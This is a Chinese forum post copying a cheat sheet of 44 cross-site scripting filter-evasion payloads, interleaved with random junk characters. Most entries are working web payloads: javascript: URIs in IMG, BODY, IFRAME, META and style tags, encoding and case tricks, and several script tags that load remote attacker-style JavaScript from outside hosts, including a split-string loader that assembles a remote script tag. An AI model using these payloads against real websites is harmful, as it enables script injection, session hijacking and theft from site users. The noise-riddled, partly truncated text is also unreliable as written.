标题: xss跨站脚本攻击汇总 [打印本页] 作者: admin 时间: 2012-9-5 14:56 标题: xss跨站脚本攻击汇总 貌似关于xss的资料t00ls比较少,看见好东西Copy过来,不知道有木有童鞋需要Mark的。- W$ {/ m5 y6 D5 n, z3 j7 ^, x' a t
! e" i, l1 i' Y* G3 B
(1)普通的XSS JavaScript注入 $ G- x! M: a/ d) J/ x& Y2 i8 e& u <SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT> 1 \- `% j% f# X+ l 1 ~0 T5 y, ]" h' }/ m: q1 O (2)IMG标签XSS使用JavaScript命令$ |1 |) h+ H8 F4 B5 o: k
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT> ; s5 t8 G) `/ D; e) O" p! w* X$ F. U, r6 ^; ]& }0 |) Q# q
(3)IMG标签无分号无引号 & b& m+ V$ c6 } <IMG SRC=javascript:alert(‘XSS’)>2 k5 [) u% N+ Y$ O
( h: Q6 w. N" C: j; F (4)IMG标签大小写不敏感 " H; U' b5 n( u; P! Y) J" i7 ^ <IMG SRC=JaVaScRiPt:alert(‘XSS’)> / `! Z: {( q" w* u4 b! P( X 4 E8 {, @$ {6 j: `* b (5)HTML编码(必须有分号)) x$ m+ N5 I9 Q+ B
<IMG SRC=javascript:alert(“XSS”)> ! p! W7 W) o2 ^ b. H! t, P$ P8 D4 z, T! U" o
(6)修正缺陷IMG标签 8 [6 d" b. j; d6 `+ i <IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>. V3 _- P$ d% s9 z( s
6 O' U$ k4 W& x! v7 P (7)formCharCode标签(计算器) 1 r9 T* z; [, @ <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> % |, O3 H5 q) b" O0 }( q+ F/ @+ q
(8)UTF-8的Unicode编码(计算器)8 y7 ?, [7 T3 M" L& S m6 v; E9 S
<IMG SRC=jav..省略..S')> - \6 n$ k1 S! H7 F 6 r1 L0 z' W* m* [4 O (9)7位的UTF-8的Unicode编码是没有分号的(计算器)* u1 @& I. T# D
<IMG SRC=jav..省略..S')> 0 g Y0 y2 T$ V9 ] # q, u' u' m" O7 u% Z% J- @ (10)十六进制编码也是没有分号(计算器)/ o f' g c; F+ g6 D. s
<IMG SRC=java..省略..XSS')> * N7 u8 S4 @" l S1 c& G7 `9 r (11)嵌入式标签,将Javascript分开 u$ t; E3 A: \- Z% Z+ t <IMG SRC=”jav ascript:alert(‘XSS’);”> ' i9 c( u! q1 F5 _& I" g/ X1 H2 x: k o; n# p
(12)嵌入式编码标签,将Javascript分开 ; I, C- O$ B$ N: Y, L <IMG SRC=”jav ascript:alert(‘XSS’);”>7 C8 X! M) F$ f
% n9 s5 E( V& U (13)嵌入式换行符# S+ T6 |' ?3 `# c
<IMG SRC=”jav ascript:alert(‘XSS’);”># d1 r$ }" s: F {
& B' G( q* Z* K3 w. K (14)嵌入式回车) X$ |5 w6 O- S: m4 A
<IMG SRC=”jav ascript:alert(‘XSS’);”> ; X) e2 R. f7 c$ z3 ?/ i + l5 q1 o+ X" i1 P% Q% _- a0 b (15)嵌入式多行注入JavaScript,这是XSS极端的例子 ( b7 O1 r& h& _ <IMG SRC=”javascript:alert(‘XSS‘)”>6 n( D' Q1 a" k L. y8 [) w
9 J& ]$ ]6 V. i, A# b
(16)解决限制字符(要求同页面). k, d+ A' P9 `
<script>z=’document.’</script> : X; I G `; O6 q$ g <script>z=z+’write(“‘</script>! v7 ]/ o, P: d, g. n" E" F' L& c
<script>z=z+’<script’</script>: I2 k8 b) J, |% `- M
<script>z=z+’ src=ht’</script> / g& O e. H+ w <script>z=z+’tp://ww’</script> 9 i8 N# y# m4 C" | <script>z=z+’w.shell’</script>& p" h7 \- t& i% _9 y
<script>z=z+’.net/1.’</script> 8 E2 @; o9 D8 s! n, a <script>z=z+’js></sc’</script> " f; q2 s# z" `; B <script>z=z+’ript>”)’</script>2 D7 v3 o& x: C* i1 `- J' q
<script>eval_r(z)</script> " b8 q+ [4 O% F3 M: R 7 Y' q# S) ]" T3 h) j (17)空字符9 N$ G$ j- m. R9 L# O1 L
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out9 m: s% I* j! f* F$ v$ Y% z
- M& d0 K" K0 q
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用 # K/ }7 P/ Z4 f4 x perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out9 I8 G$ l$ a3 g) `3 B. l
+ P2 Y: j+ v3 i' v8 P. ^
(19)Spaces和meta前的IMG标签 % D! `) g3 c$ c* M% P8 G; @" ? <IMG SRC=” javascript:alert(‘XSS’);”>$ g6 }( }" j! E+ ?% W8 M
/ F# \( m7 r6 |8 r# G
(20)Non-alpha-non-digit XSS( Q" Y7 u* M7 B" C- x* N+ j
<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT> 2 c. Y) u* s6 B- ?$ d0 k2 C7 H/ d! V7 b6 |' @6 |% H
(21)Non-alpha-non-digit XSS to 2 8 O0 m0 d% s0 p/ X# i% U3 j2 S# I <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>( h$ U9 V: s, j+ w, P) x+ c" x
: |& ]2 m. m4 H: c
(22)Non-alpha-non-digit XSS to 3 ( m$ }, B) j+ U+ G <SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT> 2 W; z' u+ ^ c; b* Y: a( M; Q$ M# p" \1 c& V# M
(23)双开括号; Y9 R$ K4 U+ {$ E
<<SCRIPT>alert(“XSS”);//<</SCRIPT> ) p& f: z0 y& w9 p; D" j( f. O) [! J+ k5 B, c: |
(24)无结束脚本标记(仅火狐等浏览器). S z" f1 c6 r
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>$ j' k0 `: ~2 O2 n2 u4 K' Y
0 X9 @/ t; x- d* p' ?: l6 w
(25)无结束脚本标记2 2 u; C- x6 L) I1 m; F& E4 ~ <SCRIPT SRC=//3w.org/XSS/xss.js>4 F9 _( Z4 ? N1 g
" \; s# p6 S5 `# A. F! u+ Y! S+ `
(26)半开的HTML/JavaScript XSS 9 e$ b8 g7 e# b <IMG SRC=”javascript:alert(‘XSS’)”4 ]1 u/ b& d% W4 ^! e4 a1 c- H
* X7 k% T3 k# e2 @6 {/ g* l" X
(27)双开角括号) q2 w' m8 z0 z- a, [: `
<iframe src=http://3w.org/XSS.html </ ?9 s9 a# |7 V3 x
3 j" n' e; i, y' T (28)无单引号 双引号 分号 / Z) i3 [) u* t6 s <SCRIPT>a=/XSS/# [$ v# U8 q: w% e4 v$ x9 B2 d
alert(a.source)</SCRIPT> ! J9 {$ t4 \, M. e2 V8 C9 M5 c9 Z5 }# m% D4 S& ] ?0 E
(29)换码过滤的JavaScript / w( {& |% T; H1 L+ [; S \”;alert(‘XSS’);//6 Y1 G1 E$ |5 ^3 C/ e
. [; n( H" v8 G) _- P (30)结束Title标签 ; \6 [! c/ \6 a% @6 X1 B </TITLE><SCRIPT>alert(“XSS”);</SCRIPT>6 U; [# n5 H8 t
8 O; g! H) u1 Z
(31)Input Image# f( M& h9 B( |1 M' R5 T& b8 ?% r
<INPUT SRC=”javascript:alert(‘XSS’);”>4 H4 ?- u* h/ Q
3 Y; R) K4 U* A5 \% l (32)BODY Image) { u( V: U3 \6 L
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>+ @& H5 F% T6 U# _$ a8 @
8 b. V1 K* y" W, r3 b2 {9 A
(33)BODY标签) }1 R; k. X7 e
<BODY(‘XSS’)>; i. }' y; t0 F& G- N
G5 f" F9 X% F" X (34)IMG Dynsrc # D4 l: K% r( q9 X; h9 h& Q, ]9 r <IMG DYNSRC=”javascript:alert(‘XSS’)”>3 K+ A, z4 x6 R8 F! t- ?
% W# x" I* k2 a6 m) V8 b (35)IMG Lowsrc' m9 ?% z) Y( C5 Y/ {
<IMG LOWSRC=”javascript:alert(‘XSS’)”> 9 s, ^) P B# O2 U* k1 N3 A& |) X" \1 h- [% O, Y1 A$ `" }' p
(36)BGSOUND0 ^* I+ A; |# S6 g, G/ v
<BGSOUND SRC=”javascript:alert(‘XSS’);”>1 Z% K7 c) T7 B$ B8 ]
9 u9 C% s9 d" y6 y (37)STYLE sheet ' f: Y* P. q+ r& d9 c6 c+ g5 g <LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>, ?0 O8 m0 D8 t# A8 ^
3 c N, u& K: m4 L( V (38)远程样式表 ( D/ J" c. z' u6 ]' V6 q <LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>7 a9 g, h# x5 w7 Q6 X( l
, [: U4 c6 \4 z( U% N }! `# Y
(39)List-style-image(列表式) 4 T1 ^+ h; q+ l m <STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS: \! z3 F( a* A. L) K4 _
[2 r: r: N8 a: \4 n1 w2 P4 m
(40)IMG VBscript 0 {7 m& r$ t' F. V0 B9 S1 J" ^6 H <IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS ! ?% W9 x7 b+ @, Z' D2 ~; l7 \) p& s0 q$ p- c) W: V
(41)META链接url " |& C$ | y$ X9 q$ X% L <META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>; b# P5 O2 ]5 D# x4 w9 B
, F% M7 L4 u- e$ ^# ~- M( u, g (42)Iframe & M; X# |' E2 l9 N$ t <IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME> / {# R" R/ d1 t / t, r( t, |, o (43)Frame ( u U+ u7 U6 S5 w <FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET># w+ D5 h) @3 Y u8 p) `2 ]4 R
. i& x- v. Q( a: J2 s# ^- O
(44)Table l$ F$ T, E( Z* y! M) \
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>! Y, s5 E, [6 T! G/ O5 d% G S